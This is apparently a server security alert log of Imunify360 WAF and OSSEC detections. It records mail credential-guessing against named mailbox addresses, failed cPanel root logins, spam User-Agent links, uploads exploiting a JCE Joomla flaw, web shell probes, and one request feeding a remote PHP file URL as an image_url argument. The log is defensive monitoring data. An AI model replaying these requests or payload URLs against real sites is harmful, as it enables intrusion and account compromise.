IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://apkphub.com/royal-x-casino-game/\">royal x casino download</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.68.245.7
country_id: 798544
description:
2026-07-19 14:02:38 dovecot_login authenticator failed for H=89-68-245-7.dynamic.play.pl ([211.105.229.237]) [89.68.245.7]:57411: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.10.134.170
country_id: 1210997
description:
2026-07-19 14:02:49 dovecot_login authenticator failed for H=([49.125.201.87]) [157.10.134.170]:46274: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.136.8.69
country_id: 2661886
description:
2026-07-19 14:02:51 dovecot_login authenticator failed for H=h-79-136-8-69.a463.priv.bahnhof.se ([213.234.9.218]) [79.136.8.69]:50172: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.30
country_id: 1668284
description:
2026-07-19 14:03:14 dovecot_login authenticator failed for H=(105.217.146.34.bc.googleusercontent.com) [101.13.5.30]:37468: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.208.108.219
country_id: 2661886
description:
2026-07-19 14:05:35 dovecot_login authenticator failed for H=31-208-108-219.cust.bredband2.com (kd113158205225.ppp-bb.dion.ne.jp) [31.208.108.219]:42320: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.135.208.13
country_id: 1861060
description:
2026-07-19 14:05:50 dovecot_login authenticator failed for H=([124.67.120.106]) [212.135.208.13]:40974: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.109.138
country_id: 1269750
description:
2026-07-19 14:07:22 dovecot_login authenticator failed for H=([111.175.39.76]) [182.95.109.138]:52392: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: modsec
rule: 77469916
abuser: 103.119.99.90
country_id: 1831722
domain: www.yukticlick.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:cve-2026-48907-3434.xml.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.96.146.250
country_id: 6252001
description:
2026-07-19 14:08:15 dovecot_login authenticator failed for H=([49.124.155.174]) [157.96.146.250]:51448: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: modsec
rule: 77469916
abuser: 103.119.99.90
country_id: 1831722
domain: www.alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:cve-2026-48907-7637.xml.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 103.119.99.90
country_id: 1831722
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:cve-2026-48907-1566.xml.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.33.247.46
country_id: 2077456
description:
2026-07-19 14:08:41 dovecot_login authenticator failed for H=27-33-247-46.tpgi.com.au (88.98.236.237.bcube.co.uk) [27.33.247.46]:60506: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.211.127.19
country_id: 1835841
description:
2026-07-19 14:10:05 dovecot_login authenticator failed for H=([202.138.229.190]) [211.211.127.19]:38763: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.232.153.182
country_id: 3865483
description:
2026-07-19 14:10:41 dovecot_login authenticator failed for H=([166.169.210.84]) [24.232.153.182]:50386: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 142.91.109.154
country_id: 1861060
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 \xe0\xb9\x80\xe0\xb8\x84\xe0\xb8\xa3\xe0\xb8\x94\xe0\xb8\xb4\xe0\xb8\x95\xe0\xb8\x9f\xe0\xb8\xa3\xe0\xb8\xb5 (<a href=\"https://www.rotpac.com/writing-event-descriptions/\">information from www.rotpac.com</a>) (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.212.191.16
country_id: 1861060
description:
2026-07-19 14:15:53 dovecot_login authenticator failed for H=st0848.nas811.p-aichi.nttpc.ne.jp ([106.13.181.87]) [202.212.191.16]:20253: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.197.130
country_id: 1269750
description:
2026-07-19 14:15:42 dovecot_login authenticator failed for H=([217.24.185.244]) [152.52.197.130]:57654: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 106.215.199.62
country_id: 1269750
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://www.cvshealthsurvey.page/\">https://www.cvshealthsurvey.page/</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.7.121.108
country_id: 1210997
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/retail-and-hospitality HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.176.122.32
country_id: 130758
description:
2026-07-19 14:26:42 dovecot_login authenticator failed for H=([180.149.232.33]) [213.176.122.32]:45790: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.50
country_id: 1668284
description:
2026-07-19 14:26:50 dovecot_login authenticator failed for H=(corporate.static.gvt.net.br) [101.13.5.50]:43608: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.23.3.146
country_id: 1835841
description:
2026-07-19 14:27:01 dovecot_login authenticator failed for H=(36.131.103.155.in-addr.arpa) [59.23.3.146]:49904: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.207.215.2
country_id: 3175395
description:
2026-07-19 14:28:09 dovecot_login authenticator failed for H=host-37-207-215-2.business.telecomitalia.it ([91.146.24.164]) [37.207.215.2]:37684: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.11.205.214
country_id: 1835841
description:
2026-07-19 14:28:38 dovecot_login authenticator failed for H=([218.149.228.149]) [59.11.205.214]:37910: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.207.248.138
country_id: 2328926
description:
2026-07-19 14:32:43 dovecot_login authenticator failed for H=(107-135-117-245.lightspeed.livnmi.sbcglobal.net) [41.207.248.138]:39206: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.233.29.157
country_id: 3865483
description:
2026-07-19 14:32:58 dovecot_login authenticator failed for H=([89.218.247.234]) [170.233.29.157]:44094: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 70.164.250.141
country_id: 6252001
domain: arcrealtors.com.au
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:43394.arcrealtors.com.au||ServerName:arcrealtors.com.au||Method:metaWeblog.newPost||BlogID:1||TitleSHA:629ab14dac6d7ec9d25b9d0904f3d62361f27830||Title:0x044205d5||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.203.17.220
country_id: 6252001
description:
2026-07-19 14:39:24 dovecot_login authenticator failed for H=c-73-203-17-220.hsd1.co.comcast.net ([37.238.45.202]) [73.203.17.220]:50138: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.209.191.11
country_id: 2661886
description:
2026-07-19 14:39:52 dovecot_login authenticator failed for H=82-209-191-11.cust.bredband2.com ([34.29.104.32]) [82.209.191.11]:38584: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.108.83.2
country_id: 6251999
description:
2026-07-19 14:43:24 dovecot_login authenticator failed for H=([125.134.191.222]) [38.108.83.2]:8034: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.200.217.128
country_id: 1835841
description:
2026-07-19 14:43:48 dovecot_login authenticator failed for H=([220.80.223.144]) [175.200.217.128]:60234: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.183.59.33
country_id: 130758
description:
2026-07-19 14:44:24 dovecot_login authenticator failed for H=(200-168-249-9.sconline.com.br) [94.183.59.33]:60228: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.70.16.87
country_id: 2077456
description:
2026-07-19 14:44:53 dovecot_login authenticator failed for H=115-70-16-87.ip4.superloop.au (89-160-102-155.cust.bredband2.com) [115.70.16.87]:35428: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.133.97.153
country_id: 6252001
description:
2026-07-19 14:48:07 dovecot_login authenticator failed for H=c-76-133-97-153.hsd1.ca.comcast.net ([59.37.13.66]) [76.133.97.153]:54236: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.176.122.32
country_id: 130758
description:
2026-07-19 14:48:32 dovecot_login authenticator failed for H=(dynamic-ip-19015713210.cable.net.co) [213.176.122.32]:60389: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.253.90.113
country_id: 2661886
description:
2026-07-19 14:49:58 dovecot_login authenticator failed for H=89-253-90-113.customers.ownit.se ([14.23.77.27]) [89.253.90.113]:56566: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.62.136.130
country_id: 3686110
description:
2026-07-19 14:51:14 dovecot_login authenticator failed for H=([208.85.238.114]) [206.62.136.130]:36336: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.242.112.205
country_id: 1269750
description:
2026-07-19 14:50:37 dovecot_login authenticator failed for H=([37.34.237.45]) [121.242.112.205]:58510: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 39.194.2.151
country_id: 1643084
domain: ogocindia.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:image_url||MV:https://raw.githubusercontent.com/JohnFoee/Miaw/refs/heads/main/apa.php||User:ogocindia||SC:/home/ogocindia/public_html/index.php||WPU:||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 182.253.9.67
country_id: 1643084
domain: yukticlick.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/shxt_iswtsv/fonts/shxt.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 103.160.213.217
country_id: 1643084
domain: travelinbh.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nuclei-e234a1c13bb1b49a45a724f15e467051.xml.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.118.20.106
country_id: 2921044
description:
2026-07-19 14:57:03 dovecot_login authenticator failed for H=ip-084-118-020-106.um23.pools.vodafone-ip.de ([49.124.153.8]) [84.118.20.106]:2820: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 129.45.84.119
country_id: 2589581
description:
2026-07-19 15:06:15 dovecot_login authenticator failed for H=([49.124.150.247]) [129.45.84.119]:55566: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.205.197
country_id: 99237
description:
2026-07-19 15:05:59 dovecot_login authenticator failed for H=([45.14.84.2]) [65.20.205.197]:41885: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.229.151.107
country_id: 3865483
description:
2026-07-19 15:10:23 dovecot_login authenticator failed for H=(77.145.34.171.adsl-pool.jx.chinaunicom.com) [181.229.151.107]:56513: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.248.65.30
country_id: 1835841
description:
2026-07-19 15:10:41 dovecot_login authenticator failed for H=([87.225.108.138]) [219.248.65.30]:38223: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.198.133.115
country_id: 1210997
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/solutions/home-automation HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 188.119.26.145
country_id: 298795
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jceb1qrcsjr.xml.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 205.185.113.241
country_id: 6252001
domain: yukticlick.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/images/sec-54d7729d64.php||SC:/home/yukticlick/public_html/images/sec-54d7729d64.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.153.182.76
country_id: 1835841
description:
2026-07-19 15:20:10 dovecot_login authenticator failed for H=([111.0.81.84]) [124.153.182.76]:34917: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.63
country_id: 1668284
description:
2026-07-19 15:19:51 dovecot_login authenticator failed for H=([38.141.252.55]) [101.13.5.63]:44890: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 168.91.173.57
country_id: 6252001
description:
2026-07-19 15:22:40 dovecot_login authenticator failed for H=168-91-173-57.s823.c3-0.eas-cbr7.atw-eas.pa.cable.rcncustomer.com ([116.38.54.26]) [168.91.173.57]:37744: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.109.73.135
country_id: 1835841
description:
2026-07-19 15:23:04 dovecot_login authenticator failed for H=([192.252.210.237]) [222.109.73.135]:45924: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.105.229.237
country_id: 1835841
description:
2026-07-19 15:23:54 dovecot_login authenticator failed for H=(bc2407c4.catv.pool.telekom.hu) [211.105.229.237]:53300: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.106.138
country_id: 1269750
description:
2026-07-19 15:24:06 dovecot_login authenticator failed for H=(91x144x158x62.static-customer.chelny.ertelecom.ru) [182.95.106.138]:43346: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.156.26.25
country_id: 1282988
description:
2026-07-19 15:33:41 dovecot_login authenticator failed for H=([49.124.153.38]) [103.156.26.25]:51682: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.160.102.155
country_id: 2661886
description:
2026-07-19 15:34:15 dovecot_login authenticator failed for H=89-160-102-155.cust.bredband2.com ([14.98.28.43]) [89.160.102.155]:56822: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.212.178.181
country_id: 1880251
description:
2026-07-19 15:35:52 dovecot_plain authenticator failed for H=(toling) [218.212.178.181]:30192: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.187.78.189
country_id: 1269750
description:
2026-07-19 15:38:18 dovecot_login authenticator failed for H=([36.154.134.146]) [103.187.78.189]:55428: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.12.179
country_id: 1269750
description:
2026-07-19 15:38:35 dovecot_login authenticator failed for H=([24.249.199.9]) [128.185.12.179]:60726: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.28.215
country_id: 1269750
description:
2026-07-19 15:38:58 dovecot_login authenticator failed for H=(st6996.mas4401.y-tokyo.nttpc.ne.jp) [49.206.28.215]:18862: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-07-19 15:43:24 dovecot_login authenticator failed for H=([180.165.4.111]) [119.92.76.210]:47128: 535 Incorrect authentication data (set_id=khalid)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 195.178.110.223
country_id: 732800
domain: www.futuracare.com.au
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/web.config||User:futuracarecom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.114.93.153
country_id: 3923057
description:
2026-07-19 15:43:10 dovecot_login authenticator failed for H=host-181-114-93-153.supernet.com.bo ([124.153.166.170]) [181.114.93.153]:11552: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.112.152
country_id: 1668284
description:
2026-07-19 15:52:24 dovecot_login authenticator failed for H=110-25-112-152.adsl.fetnet.net (111-70-25-161.emome-ip.hinet.net) [110.25.112.152]:56358: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.190.215.195
country_id: 6252001
description:
2026-07-19 15:52:36 dovecot_login authenticator failed for H=([68.71.249.154]) [146.190.215.195]:52828: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.255.189.50
country_id: 298795
description:
2026-07-19 15:56:00 dovecot_login authenticator failed for H=(88.248.250.143.static.ttnet.com.tr) [88.255.189.50]:40344: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.253.90.113
country_id: 2661886
description:
2026-07-19 15:55:46 dovecot_login authenticator failed for H=89-253-90-113.customers.ownit.se ([124.13.235.29]) [89.253.90.113]:40356: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.82.110.150
country_id: 660013
description:
2026-07-19 16:00:55 dovecot_login authenticator failed for H=([95.220.223.242]) [45.82.110.150]:52958: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.161.38.22
country_id: 130758
description:
2026-07-19 16:01:06 dovecot_login authenticator failed for H=(187-40-1-41.user.vtal.net.br) [185.161.38.22]:41335: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.10.203.54
country_id: 2661886
description:
2026-07-19 16:01:51 dovecot_login authenticator failed for H=h-176-10-203-54.a463.priv.bahnhof.se (102-220-158-10.simbafiber.co.zm) [176.10.203.54]:41302: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.101.182
country_id: 1269750
description:
2026-07-19 16:02:07 dovecot_login authenticator failed for H=(193-116-226-254.tpgi.com.au) [182.95.101.182]:45914: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 95.82.88.162
country_id: 1522867
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/solutions/diy-products HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140742
name: IM360 WAF: Block abusive scripts
abuser: 20.12.214.177
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Block abusive scripts||MVN:REQUEST_URI||RSV:8.32||T:APACHE||MV:/wp-admin/maint/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.46.192.20
country_id: 2510769
description:
2026-07-19 16:09:44 dovecot_login authenticator failed for H=(abts-mum-static-195.99.170.122.airtelbroadband.in) [193.46.192.20]:36975: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-07-19 16:10:05 dovecot_login authenticator failed for H=([27.24.141.160]) [119.92.76.210]:35504: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.152.117.148
country_id: 1168579
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/intercom-systems HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.5.117.238
country_id: 1694008
description:
2026-07-19 16:12:17 dovecot_login authenticator failed for H=([152.70.157.25]) [210.5.117.238]:54445: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.72.198.61
country_id: 1835841
description:
2026-07-19 16:12:29 dovecot_login authenticator failed for H=([36.151.68.6]) [220.72.198.61]:43531: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.144.24.198
country_id: 3017382
description:
2026-07-19 16:13:04 dovecot_login authenticator failed for H=([222.219.232.57]) [185.144.24.198]:57561: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.78.177
country_id: 1668284
description:
2026-07-19 16:13:38 dovecot_login authenticator failed for H=221-120-78-177.emome-ip.hinet.net ([110.227.215.90]) [221.120.78.177]:46047: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.12.179
country_id: 1269750
description:
2026-07-19 16:14:27 dovecot_login authenticator failed for H=(m121-202-146-144.smartone.com) [128.185.12.179]:43564: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.210.94
country_id: 1036973
description:
2026-07-19 16:15:12 dovecot_login authenticator failed for H=([206.220.175.5]) [197.219.210.94]:49740: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.88.108.12
country_id: 6252001
description:
2026-07-19 16:20:52 dovecot_login authenticator failed for H=([1.237.155.150]) [70.88.108.12]:54466: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.32.200.175
country_id: 2077456
description:
2026-07-19 16:21:08 dovecot_login authenticator failed for H=27-32-200-175.tpgi.com.au ([36.163.227.186]) [27.32.200.175]:35701: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77469916
abuser: 103.119.99.82
country_id: 1831722
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:cve-2026-48907-8237.xml.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 103.119.99.82
country_id: 1831722
domain: www.alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:cve-2026-48907-7543.xml.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.154.253.108
country_id: 2921044
description:
[2026-07-19 16:24:59 +0530] info [whostmgrd] 217.154.253.108 - root "GET /cpsess8849981140/json-api/version HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 217.154.253.108
country_id: 2921044
description:
[2026-07-19 16:24:59 +0530] info [whostmgrd] 217.154.253.108 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 200.10.37.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://maps.app.goo.gl/FuSk1SEGfsLn3XZCA\">Carpet Cleaning</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 13.72.110.24
country_id: 6252001
description:
[2026-07-19 16:25:38 +0530] info [whostmgrd] 13.72.110.24 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.246.160.21
country_id: 1835841
description:
2026-07-19 16:29:20 dovecot_login authenticator failed for H=(c-50-188-204-213.unallocated.comcastbusiness.net) [211.246.160.21]:36865: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.105.160.100
country_id: 6252001
description:
2026-07-19 16:29:21 dovecot_login authenticator failed for H=syn-024-105-160-100.biz.spectrum.com ([119.192.219.77]) [24.105.160.100]:45206: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.52.161.203
country_id: 6252001
description:
2026-07-19 16:29:53 dovecot_login authenticator failed for H=([223.70.149.210]) [64.52.161.203]:37737: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.31.215
country_id: 2661886
description:
2026-07-19 16:30:10 dovecot_login authenticator failed for H=h-155-4-31-215.a2204.priv.bahnhof.se ([67.201.59.67]) [155.4.31.215]:35796: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 108.35.129.132
country_id: 6252001
description:
2026-07-19 16:30:18 dovecot_login authenticator failed for H=pool-108-35-129-132.nwrknj.fios.verizon.net ([2.59.162.146]) [108.35.129.132]:46796: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.187.230.168
country_id: 298795
description:
2026-07-19 16:29:47 dovecot_login authenticator failed for H=([116.88.116.62]) [78.187.230.168]:42628: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.240.192.154
country_id: 2510769
description:
2026-07-19 16:29:54 dovecot_login authenticator failed for H=([49.124.151.58]) [188.240.192.154]:56758: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.192.54.219
country_id: 1835841
description:
2026-07-19 16:29:31 dovecot_login authenticator failed for H=([194.103.82.72]) [211.192.54.219]:49430: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 77.68.84.233
country_id: 2635167
description:
[2026-07-19 16:31:55 +0530] info [whostmgrd] 77.68.84.233 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.68.84.233
